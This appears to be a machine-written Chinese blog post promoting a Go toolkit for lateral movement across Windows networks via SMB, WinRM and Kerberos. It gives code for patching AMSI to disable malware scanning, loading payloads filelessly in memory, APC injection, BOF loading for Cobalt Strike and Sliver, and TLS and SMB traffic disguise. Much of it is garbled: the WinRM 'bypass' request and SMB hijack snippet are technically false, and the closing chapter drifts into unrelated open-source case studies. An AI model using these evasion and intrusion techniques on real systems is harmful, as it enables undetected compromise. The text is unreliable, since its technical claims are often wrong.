Posted in

【国家级渗透实验室推荐】:Go编写的横向移动工具集(含SMB/WinRM/Kerberos三协议支持)

第一章:Go语言黑客工具的基本架构与设计理念

Go语言因其并发模型、静态编译、跨平台部署能力及简洁的内存管理机制,成为构建高效、便携、低依赖黑客工具的理想选择。其原生支持的 net/httpcrypto/*net 等标准库模块,无需第三方依赖即可实现端口扫描、HTTP指纹识别、TLS握手分析等核心功能,显著降低工具分发与环境适配成本。

核心架构分层

  • 输入抽象层:统一处理命令行参数(flag 包)、配置文件(YAML/JSON解析)与交互式输入(golang.org/x/term),支持动态加载目标列表与插件配置;
  • 任务调度层:基于 goroutine + channel 构建非阻塞工作池,例如使用 sync.WaitGroup 控制并发扫描协程数,避免资源耗尽;
  • 执行引擎层:每个工具模块封装为独立 Runner 接口(含 Run() error 方法),支持热插拔与策略组合;
  • 输出标准化层:所有结果统一序列化为结构化格式(如 json.RawMessage),便于后续管道处理或集成 SIEM 系统。

并发安全设计原则

Go 工具避免全局可变状态,采用“共享内存通过通信”的范式。例如,端口扫描器中使用带缓冲通道收集结果:

// 创建容量为1000的结果通道,防止goroutine阻塞
results := make(chan ScanResult, 1000)
for i := 0; i < runtime.NumCPU(); i++ {
    go func() {
        for port := range ports { // ports 是无缓冲通道
            result := probePort(target, port)
            results <- result // 非阻塞写入(因有缓冲)
        }
    }()
}

该模式确保高吞吐下内存可控,且天然规避锁竞争。

可扩展性保障机制

特性 实现方式
插件热加载 使用 plugin 包或基于接口的工厂函数
协议解析解耦 定义 ProtocolParser 接口,各协议独立实现
日志与追踪注入 通过 context.Context 透传 trace ID 和 logger 实例

工具生命周期始于 main() 中的职责链初始化,止于 os.Exit(0) 前的资源清理(如关闭监听 socket、刷新日志缓冲区),全程遵循最小权限与防御性编程原则。

第二章:Go横向移动工具的核心协议实战

2.1 SMB协议通信原理与Go实现的会话劫持技术

SMB(Server Message Block)基于TCP/IP的会话层协议,依赖NTLM/Kerberos认证与Session Setup Request/Response建立加密会话密钥。劫持核心在于复用已认证的Session ID与Tree Connect Context,绕过身份验证。

关键会话要素

  • SessionID:64位唯一标识,服务端绑定凭证与加密状态
  • TreeID:共享资源句柄,关联SMB3加密密钥派生上下文
  • SequenceNumber:防重放,需同步客户端预期值

Go劫持流程示意

// 构造伪造SMB2_SESSION_SETUP响应,注入目标SessionID
resp := &smb2.SessionSetupResponse{
    SessionID:     0x123456789abcdef0, // 劫持的目标会话
    SecurityBuffer: deriveSigningKey(sessionKey, "SMB2AESCMAC"), 
}

该代码复用已知SessionID并重派生签名密钥,使后续Write/Read请求被服务端视为合法会话。sessionKey需通过内存提取或中间人解密获得。

阶段 协议动作 劫持可行性
认证后 Tree Connect ✅ 高
加密通道建立 Encrypted Write/Read ⚠️ 依赖密钥同步
graph TD
    A[捕获合法SMB2_SESSION_SETUP_RSP] --> B[提取SessionID/TreeID/EncryptKey]
    B --> C[构造伪造SMB2_WRITE_REQ]
    C --> D[服务端校验签名并执行]

2.2 WinRM协议认证绕过与PowerShell命令注入的Go封装实践

WinRM(Windows Remote Management)基于WS-Management协议,默认启用NTLM/Kerberos认证。当目标配置宽松(如AllowUnencrypted = trueSkipCNCheck = true且禁用证书验证),攻击者可构造未签名、未加密的HTTP请求绕过身份校验。

核心绕过条件

  • winrm/config/serviceAllowUnencrypted 设为 true
  • 客户端跳过TLS证书验证与主机名检查
  • 使用明文Basic Auth或空凭据发起SOAP请求

Go语言关键封装逻辑

// 构造无认证WinRM SOAP请求(仅用于合法渗透测试授权环境)
req, _ := http.NewRequest("POST", "http://192.168.1.10:5985/wsman", 
    strings.NewReader(`<?xml version="1.0" encoding="UTF-8"?>
<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">
  <Header><To>http://schemas.dmtf.org/wbem/wsman/1/wsman/Shell</To></Header>
  <Body><Command>ipconfig</Command></Body>
</Envelope>`))
req.Header.Set("Content-Type", "application/soap+xml;charset=UTF-8")

该请求绕过认证依赖服务端配置缺陷;Content-Type 必须精确匹配WS-Management规范,否则被拒绝。<Command> 内容将被WinRM服务以SYSTEM权限执行——即实现命令注入。

支持的注入向量对比

向量类型 是否需认证 执行权限 典型利用方式
明文HTTP+Basic 否(若允许) SYSTEM cmd /c whoami
NTLM中继 LOCAL SERVICE relay to SMB share
PowerShell脚本 是(默认) 用户上下文 需先获取有效凭证
graph TD
    A[构造SOAP请求] --> B{服务端AllowUnencrypted=true?}
    B -->|Yes| C[跳过TLS验证]
    B -->|No| D[中止]
    C --> E[注入PowerShell命令]
    E --> F[以SYSTEM权限执行]

2.3 Kerberos票据传递(Pass-the-Ticket)的Go原生加密库调用与票据解析

Kerberos TGT/ST票据本质是ASN.1编码的DER结构,经AES-CTR或RC4-HMAC加密封装。Go标准库crypto/aesgolang.org/x/crypto/kdf/pbkdf2可完成密钥派生,但需配合第三方ASN.1解析器(如github.com/jcmturner/gokrb5/v8/encoding/asn1)还原票据字段。

票据解密关键步骤

  • 提取EncryptedData中的cipher字节流与kvno
  • 使用服务主体密钥(krbtgt哈希)派生加密密钥
  • 调用aes.NewCipher()+cipher.NewCBCDecrypter()还原明文
// 示例:AES256-CTS-HMAC-SHA1解密EncTicketPart
block, _ := aes.NewCipher(key) // key = 32-byte derived from krbtgt hash
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(out, cipherText) // out含ASN.1 EncTicketPart序列

key由PBKDF2-SHA1对NT哈希+盐值迭代4096次生成;iv取自票据EncryptedData.encrypted-data.iv字段;CryptBlocks输出为BER编码的票据主体,需进一步ASN.1 Unmarshal。

支持的加密类型对照表

加密类型 Go标准库支持 所需额外依赖
AES256-CTS-HMAC-SHA1-96 ✅ (crypto/aes) golang.org/x/crypto/cipher
RC4-HMAC golang.org/x/crypto/rc4
graph TD
    A[读取.kirbi文件] --> B[解析KRB_CRED ASN.1]
    B --> C[提取EncryptedData]
    C --> D{加密类型判断}
    D -->|AES| E[调用crypto/aes]
    D -->|RC4| F[调用x/crypto/rc4]
    E & F --> G[ASN.1 Unmarshal EncTicketPart]

2.4 多协议联动场景下的Go并发控制与上下文传播机制

在微服务网关、IoT边缘协同等多协议(HTTP/gRPC/MQTT)联动场景中,请求常需跨协议链式编排,此时统一的上下文传播与细粒度并发控制至关重要。

数据同步机制

需确保 traceIDtimeoutcancel 信号在协议边界间无损透传。gRPC Metadata 与 HTTP Header 可映射,MQTT 则依赖 payload 封装或 reserved topic。

并发协调策略

  • 使用 errgroup.Group 统一管理子任务生命周期
  • 所有协程必须接收 ctx 并监听 ctx.Done()
  • 协议适配器需将外部超时/取消转换为 Go 原生 context.Context
func handleCrossProtocol(ctx context.Context, req *Request) error {
    g, groupCtx := errgroup.WithContext(ctx)
    g.Go(func() error { return callHTTP(groupCtx, req) })
    g.Go(func() error { return callGRPC(groupCtx, req) })
    g.Go(func() error { return publishMQTT(groupCtx, req) })
    return g.Wait() // 任一失败或 ctx 取消即整体退出
}

逻辑说明:errgroup.WithContext 创建继承父 ctx 的新上下文;各子协程使用 groupCtx 实现取消联动;g.Wait() 自动聚合错误并响应 ctx.Done()。参数 req 需为只读或深拷贝,避免竞态。

协议 上下文透传方式 取消信号支持
HTTP X-Request-ID header ✅(via ctx
gRPC metadata.MD ✅(内置)
MQTT JSON payload 内嵌字段 ⚠️(需自定义解析)
graph TD
    A[入口请求] --> B{协议分发}
    B --> C[HTTP Adapter]
    B --> D[gRPC Adapter]
    B --> E[MQTT Adapter]
    C --> F[ctx.WithTimeout]
    D --> F
    E --> F
    F --> G[统一Cancel通道]

2.5 基于Go Modules的协议插件化扩展开发与动态加载实践

Go Modules 提供了语义化版本控制与可复现依赖管理能力,为协议插件化奠定工程基础。核心在于将不同协议(如 MQTT、CoAP、Modbus)抽象为独立模块,通过接口契约实现解耦。

插件注册与发现机制

协议插件需实现统一 Protocol 接口:

// plugin/mqtt/plugin.go
package mqtt

import "github.com/example/iot-core/protocol"

func init() {
    protocol.Register("mqtt", &MQTTPlugin{}) // 自动注册到全局插件表
}

type MQTTPlugin struct{}

func (p *MQTTPlugin) Connect(cfg map[string]string) error { /* ... */ }

init() 函数在模块导入时自动执行,完成插件注册;protocol.Register 将插件名与实例存入 map[string]Protocol,支持运行时按名称查找。

动态加载流程

graph TD
    A[主程序启动] --> B[读取配置 protocol: \"mqtt\"]
    B --> C[调用 protocol.Get(\"mqtt\")]
    C --> D[返回已注册的 MQTTPlugin 实例]
    D --> E[调用 Connect 方法]

支持的协议模块对照表

协议 模块路径 版本约束 动态加载支持
MQTT github.com/…/mqtt v1.3.0+
CoAP github.com/…/coap v0.8.2
Modbus github.com/…/modbus v2.1.0-alpha ⚠️ 需启用 CGO

第三章:工具链部署与红队实战集成

3.1 Windows/Linux跨平台交叉编译与无文件内存驻留部署

核心工具链选型

  • Windows → Linux:使用 x86_64-w64-mingw32-gcc(Win)交叉编译为 aarch64-linux-gnu 目标二进制
  • Linux → Windows:依赖 mingw-w64-binutils + i686-w64-mingw32-gcc,启用 -mconsole -static 避免 DLL 依赖

内存加载关键流程

// loader.c —— 仅含 PE/ELF 解析与 RWX 内存映射
void* mem_load(const uint8_t* raw, size_t len) {
    void* mem = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(mem, raw, len);
    VirtualProtect(mem, len, PAGE_EXECUTE_READ, &old_prot); // Windows
    // mmap(..., PROT_READ|PROT_WRITE|PROT_EXEC) on Linux
    return ((entry_t)mem)();
}

逻辑分析:VirtualAlloc 分配可读写内存,memcpy 注入原始字节流,VirtualProtect 动态切换为可执行权限;Linux 下等价使用 mmap 配合 PROT_EXEC。参数 PAGE_EXECUTE_READ 确保指令可执行且数据不可写,提升运行时安全性。

平台差异对照表

维度 Windows Linux
内存分配API VirtualAlloc() mmap()
权限切换 VirtualProtect() mprotect()
PE/ELF解析 ImageNtHeader, OptionalHeader e_entry, phdr + PT_LOAD
graph TD
    A[源码] --> B{目标平台?}
    B -->|Windows| C[x86_64-w64-mingw32-gcc]
    B -->|Linux| D[aarch64-linux-gnu-gcc]
    C & D --> E[静态链接+strip]
    E --> F[Loader注入内存]
    F --> G[直接执行入口点]

3.2 与Cobalt Strike Beacon、Sliver C2的Go侧信道对接与Beacon Object File(BOF)转换

Go语言侧信道实现需绕过传统C/C++ ABI约束,通过syscall包直接调用Windows NT API构建无DLL、无堆栈痕迹的轻量信标。

数据同步机制

使用共享内存(CreateFileMappingW + MapViewOfFile)与Beacon主进程通信,避免网络IO暴露。

BOF加载适配

Cobalt Strike BOF为位置无关x64 shellcode,需在Go中完成:

  • 解析.bof头部(4字节magic + 4字节entry offset)
  • 分配RWX内存页(VirtualAlloc
  • 复制并重定位(仅支持IMAGE_REL_AMD64_ADDR64
// 加载BOF到当前进程地址空间
func LoadBOF(data []byte) (uintptr, error) {
    // 假设data[0:8]为BOF头,entry = binary.LittleEndian.Uint32(data[4:8])
    entryOff := binary.LittleEndian.Uint32(data[4:8])
    mem, _ := syscall.VirtualAlloc(0, uintptr(len(data)), syscall.MEM_COMMIT|syscall.MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
    syscall.CopyMemory(mem, &data[0], uintptr(len(data)))
    return mem + uintptr(entryOff), nil // 返回入口地址
}

LoadBOF返回BOF实际执行入口(基址+偏移),entryOff为BOF内硬编码的相对入口点;CopyMemoryRtlMoveMemory别名,确保原子写入。

特性 Cobalt Strike BOF Sliver Go-BOF
执行上下文 Beacon线程 独立goroutine
参数传递方式 全局结构体指针 TLS变量存储
导出函数解析 手动GetProcAddress syscall.NewLazyDLL
graph TD
    A[Go侧信道初始化] --> B[分配RWX内存]
    B --> C[解析BOF头/定位entry]
    C --> D[复制代码段]
    D --> E[跳转执行]

3.3 国产化环境适配:SM2/SM4加密套件集成与等保合规性加固

国产密码算法集成需深度耦合JCE Provider机制。以Bouncy Castle 1.70+为例,注册国密Provider:

Security.addProvider(new BouncyCastleProvider());
Security.addProvider(new org.bouncycastle.crypto.params.SM2ParameterSpec());

此处BouncyCastleProvider需显式启用SM2/SM4算法族;SM2ParameterSpec确保椭圆曲线参数符合GM/T 0003.5—2012标准,避免密钥协商失败。

等保2.0三级要求传输加密+身份双向认证,典型配置项包括:

  • TLS协议强制启用TLSv1.2+
  • 密码套件优先级:ECC_SM4_SM3 > ECDHE_SM4_SM3
  • 证书链须含国家密码管理局认证的CA签发SM2证书
合规项 检查方式 通过阈值
SM4-GCM加密强度 openssl s_client -cipher ‘SM4’ ≥128位认证标签
SM2签名验签耗时 JMH基准测试 ≤15ms(P99)
graph TD
    A[客户端发起TLS握手] --> B{服务端返回SM2证书}
    B --> C[客户端用国密根CA公钥验证证书链]
    C --> D[协商ECC_SM4_SM3套件]
    D --> E[建立SM4-GCM加密信道]

第四章:高级对抗技巧与反检测工程

4.1 Go二进制混淆:符号剥离、字符串加密与控制流扁平化实战

Go 编译产物默认保留丰富符号表与明文字符串,易被逆向分析。实战中需组合三类关键技术:

  • 符号剥离go build -ldflags="-s -w" 移除调试符号与 DWARF 信息
  • 字符串加密:运行时解密敏感字面量(如 API 密钥、URL)
  • 控制流扁平化:将线性逻辑转为状态机式跳转,干扰 CFG 还原

字符串加密示例

// 使用 XOR 加密硬编码字符串(密钥: 0x5a)
func decrypt(s string) string {
    b := []byte(s)
    for i := range b {
        b[i] ^= 0x5a
    }
    return string(b)
}
// 加密后字符串:"G]Q^R" → 解密为 "Hello"

该函数在运行时按字节异或还原字符串,避免静态扫描;密钥应动态生成或分片存储以增强抗分析能力。

混淆效果对比

指标 默认编译 混淆后
.rodata 大小 12.3 KB 3.1 KB
strings 命令输出敏感词 87 个 0 个
graph TD
    A[原始函数] --> B[插入虚拟状态变量]
    B --> C[拆分为 switch-case 状态机]
    C --> D[插入冗余跳转与死代码]
    D --> E[混淆后函数]

4.2 内存马注入:利用Windows APC机制与Go runtime.Syscall实现无进程痕迹执行

Windows APC(Asynchronous Procedure Call)允许在目标线程的APC队列中插入用户定义函数,当线程进入可唤醒等待状态(如 SleepEx, WaitForSingleObjectEx)时执行,全程不创建新进程、不写磁盘、不触发典型进程监控。

APC 注入核心流程

  • 获取目标线程句柄(需 THREAD_SET_CONTEXT 权限)
  • 调用 QueueUserAPC 向其 APC 队列注入 shellcode 地址
  • 目标线程在下次 Alertable 等待时自动执行,无额外线程或进程痕迹

Go 中调用关键系统调用

// 使用 syscall 包直接调用 Windows API
func QueueUserAPC(pfnAPC uintptr, hThread syscall.Handle, dwData uintptr) (err error) {
    r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3,
        pfnAPC, uintptr(hThread), dwData)
    if r1 == 0 {
        err = e1
    }
    return
}

pfnAPC:shellcode 在目标进程内存中的可执行地址(需先通过 VirtualAllocEx + WriteProcessMemory 布置);hThread:已提权获取的目标线程句柄;dwData:传递给 APC 函数的参数(常用于配置执行上下文)。

优势 说明
无进程痕迹 不启动新进程,不修改 PE 文件,绕过 EDR 进程创建监控
隐蔽唤醒 依赖目标线程自身 Alertable 状态,无需主动挂起/恢复线程
graph TD
    A[获取目标线程句柄] --> B[分配远程内存并写入shellcode]
    B --> C[QueueUserAPC注入执行地址]
    C --> D[目标线程进入SleepEx/WaitFor...Ex]
    D --> E[APC被调度执行]

4.3 网络流量伪装:TLS指纹模拟与SMBv3压缩旁路的Go底层WinAPI Hook实践

实现隐蔽通信需绕过深度包检测(DPI)对TLS/SMB协议的指纹识别。核心路径为:Hook secur32.dllInitializeSecurityContextW 模拟合法客户端指纹,并拦截 mrxsmb20.sys 关联的 SmbCompressData 调用禁用SMBv3压缩——后者会暴露CompressionIds字段,成为检测特征。

TLS指纹可控注入点

// Hook入口:劫持InitializeSecurityContextW参数中的SEC_CHAR_BUFFER
// pInputBuffer[0] 指向SCHANNEL_CRED结构,可动态覆写dwVersion、grbitEnabledProtocols等字段
// 注意:需在TLS handshake前完成patch,避免触发Windows SChannel校验

该Hook使Go程序可精确复现Chrome 124/Edge 126等主流浏览器的ALPN列表、扩展顺序与ECC曲线偏好。

SMBv3压缩绕过关键表

Hook目标函数 触发时机 旁路效果
SmbCompressData 发送前压缩阶段 清零CompressionId字段
SmbDecompressData 接收后解压阶段 直接返回原始缓冲区
graph TD
    A[Go程序发起SMB写请求] --> B{Hook拦截SmbCompressData}
    B -->|修改pCompHdr->CompressionId = 0| C[绕过压缩逻辑]
    C --> D[生成无压缩标识的SMBv3帧]

此双协议协同伪装显著降低被Suricata TLS/SMB规则集捕获概率。

4.4 日志规避:绕过ETW/AMSI的Go原生syscall注入与内存补丁技术

核心思路:零依赖原生调用

Go 1.18+ 支持 //go:systemcall 注解与 unsafe.Syscall 直接触发 NTAPI,完全绕过 golang.org/x/sys/windows 的 ETW 钩子层。

关键内存补丁操作

以下代码将 AmsiScanBuffer 函数首字节覆写为 ret(0xC3),实现 AMSI 检查静默跳过:

func patchAmsi() error {
    amsi := syscall.MustLoadDLL("amsi.dll")
    proc := amsi.MustFindProc("AmsiScanBuffer")
    addr, _ := proc.Addr()

    var oldProtect uint32
    syscall.VirtualProtect(addr, 1, syscall.PAGE_EXECUTE_READWRITE, &oldProtect)
    defer syscall.VirtualProtect(addr, 1, oldProtect, &oldProtect)

    return syscall.WriteProcessMemory(syscall.CurrentProcess, addr, []byte{0xC3}, 1, nil)
}

逻辑分析proc.Addr() 获取导出函数真实 RVA 地址;VirtualProtect 临时提升页保护为可写;WriteProcessMemory 原地覆写首指令为 ret,后续调用立即返回 0x00000000(AMSI_RESULT_CLEAN),不触发扫描逻辑。

ETW 规避对比表

方法 是否触发 ETW ImageLoad 是否需 NtTraceEvent 权限 Go 运行时依赖
os/exec 启动进程
syscall.CreateProcess
原生 NtCreateUserProcess

执行链简图

graph TD
    A[Go main goroutine] --> B[调用 syscall.NtProtectVirtualMemory]
    B --> C[定位 amsi!AmsiScanBuffer]
    C --> D[PATCH: 0x48→0xC3]
    D --> E[后续所有 AMSI 调用立即返回 CLEAN]

第五章:总结与开源生态展望

开源项目落地中的典型协作模式

在 Kubernetes 生态中,KubeSphere 作为 CNCF 孵化项目,其社区贡献者已覆盖全球 32 个国家。2023 年发布的 v4.1 版本中,78% 的核心功能由非华为员工提交,包括多集群策略引擎的 RBAC 权限自动同步模块(PR #6289)和基于 eBPF 的网络可观测性插件(commit a7f3e9d)。该版本上线后,被中国工商银行用于重构其信用卡风控平台的混合云调度层,将跨 AZ 故障切换时间从 47 秒压缩至 2.3 秒。

关键技术债的社区共治实践

以下为某头部新能源车企在迁移到 Apache Doris 2.0 过程中暴露的典型问题及解决路径:

问题类型 具体表现 社区响应方式 落地周期
SQL 兼容性 INSERT INTO SELECT 子查询嵌套深度超限报错 提交 Issue #11204,获官方标注 good-first-issue 11 天(v2.0.5-hotfix)
内存泄漏 BE 节点在持续写入场景下每 72 小时 OOM 联合阿里云工程师定位到 MemPool::acquire_data 引用计数缺陷 26 天(v2.0.7)

开源治理工具链的实际效能

Mermaid 流程图展示了某省级政务云平台采用 OpenSSF Scorecard 自动化评估的闭环流程:

flowchart LR
A[每日扫描 GitHub 仓库] --> B{Scorecard v4.10.0}
B --> C[生成 20 项指标报告]
C --> D[阈值告警:code-review=4/10]
D --> E[触发 Jenkins Pipeline]
E --> F[自动创建 PR:添加 CODEOWNERS 规则]
F --> G[合并后重新评分]

该流程使该平台所依赖的 17 个关键开源组件平均安全分从 5.2 提升至 8.7,其中 etcd 分支策略合规性提升直接避免了 2023 年 11 月 CVE-2023-39990 的本地提权风险。

商业公司反哺开源的量化路径

小米在 Apache RocketMQ 项目中实施“双轨贡献”机制:

  • 每季度将 MIUI 短信服务压测中发现的事务消息堆积问题转化为标准化 Issue(如 #4217)
  • 同步向社区提交对应修复代码及 3 套真实流量回放测试用例(位于 test-integration/src/test/resources/traffic/miui-sms-2023q3
    该机制使 RocketMQ 在 2023 年 Q4 的消息端到端延迟 P99 降低 41%,同时小米获得 Apache 基金会颁发的“Top Contributor”徽章,其工程师团队由此获得 3 个 Committer 席位。

开源许可证演进对交付的影响

在为某三甲医院构建医疗影像 AI 推理平台时,团队发现原计划集成的 MONAI Core 项目在 v1.3.0 中将许可证从 Apache-2.0 变更为 BSD-3-Clause + NOTICE 文件强制声明条款。经法务团队比对,新增条款要求所有衍生作品必须在启动画面展示 MONAI 致谢页。最终通过修改 Dockerfile 构建流程,在 ENTRYPOINT 前注入 echo "Powered by MONAI v1.3.0" > /app/NOTICE.txt 实现合规,该方案被采纳为 MONAI 官方文档的「企业部署最佳实践」案例。

深入 goroutine 与 channel 的世界,探索并发的无限可能。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注